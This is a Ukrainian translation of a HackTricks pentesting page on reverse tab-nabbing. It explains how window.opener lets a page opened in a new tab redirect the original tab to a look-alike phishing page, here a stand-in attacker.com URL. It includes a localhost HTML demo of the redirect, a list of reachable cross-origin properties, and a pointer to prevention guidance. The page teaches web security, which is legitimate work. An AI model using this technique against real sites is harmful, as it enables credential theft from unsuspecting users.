hacktricks/pentesting-web/reverse-tab-nabbing.md

8.2 KiB
Raw Permalink Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Опис

У ситуації, коли зловмисник може контролювати аргумент href тегу <a з атрибутом target="_blank" rel="opener", на який натисне жертва, зловмисник направляє це посилання на веб-сайт під своїм контролем ( шкідливий веб-сайт). Потім, коли жертва натискає на посилання і переходить на веб-сайт зловмисника, цей шкідливий веб-сайт зможе контролювати оригінальну сторінку через об'єкт javascript window.opener.
Якщо сторінка не має rel="opener" але містить target="_blank" і також не має rel="noopener", вона також може бути вразливою.

Звичайний спосіб зловживання цією поведінкою полягає в тому, щоб змінити місцезнаходження оригінального веб-сайту через window.opener.location = https://attacker.com/victim.html на веб-сайт, контрольований зловмисником, який схожий на оригінальний, щоб він міг імітувати форму входу оригінального веб-сайту та запитувати у користувача облікові дані.

Однак зверніть увагу, що оскільки зловмисник тепер може контролювати об'єкт вікна оригінального веб-сайту, він може зловживати ним іншим чином для виконання прихованих атак (можливо, модифікуючи події javascript для витоку інформації на сервер, контрольований ним?)

Огляд

Зворотне посилання

Посилання між батьківськими та дочірніми сторінками, коли атрибут запобігання не використовується:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Без зворотного посилання

Посилання між батьківськими та дочірніми сторінками, коли атрибут запобігання використовується:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Приклади

Створіть наступні сторінки в папці та запустіть веб-сервер за допомогою python3 -m http.server
Потім перейдіть за адресою http://127.0.0.1:8000/vulnerable.html, натисніть на посилання та зверніть увагу, як URL оригінального веб-сайту змінюється.

{% code title="vulnerable.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% endcode %}

{% code title="malicious.html" %}

<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>

{% endcode %}

{% code title="malicious_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

{% endcode %}

Доступні властивості

У сценарії, коли відбувається крос-доменний доступ (доступ через різні домени), властивості екземпляра класу window JavaScript, на який посилається об'єкт opener JavaScript, доступні для зловмисного сайту обмежені наступними:

  • opener.closed: Ця властивість використовується для визначення, чи було закрито вікно, повертаючи булеве значення.
  • opener.frames: Ця властивість надає доступ до всіх елементів iframe у поточному вікні.
  • opener.length: Кількість елементів iframe, присутніх у поточному вікні, повертається цією властивістю.
  • opener.opener: Посилання на вікно, яке відкрило поточне вікно, можна отримати через цю властивість.
  • opener.parent: Ця властивість повертає батьківське вікно поточного вікна.
  • opener.self: Доступ до самого поточного вікна надається цією властивістю.
  • opener.top: Ця властивість повертає найвищу вікно браузера.

Однак у випадках, коли домени ідентичні, зловмисний сайт отримує доступ до всіх властивостей, які надає window JavaScript об'єкт.

Запобігання

Інформація про запобігання задокументована в HTML5 Cheat Sheet.

Посилання

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}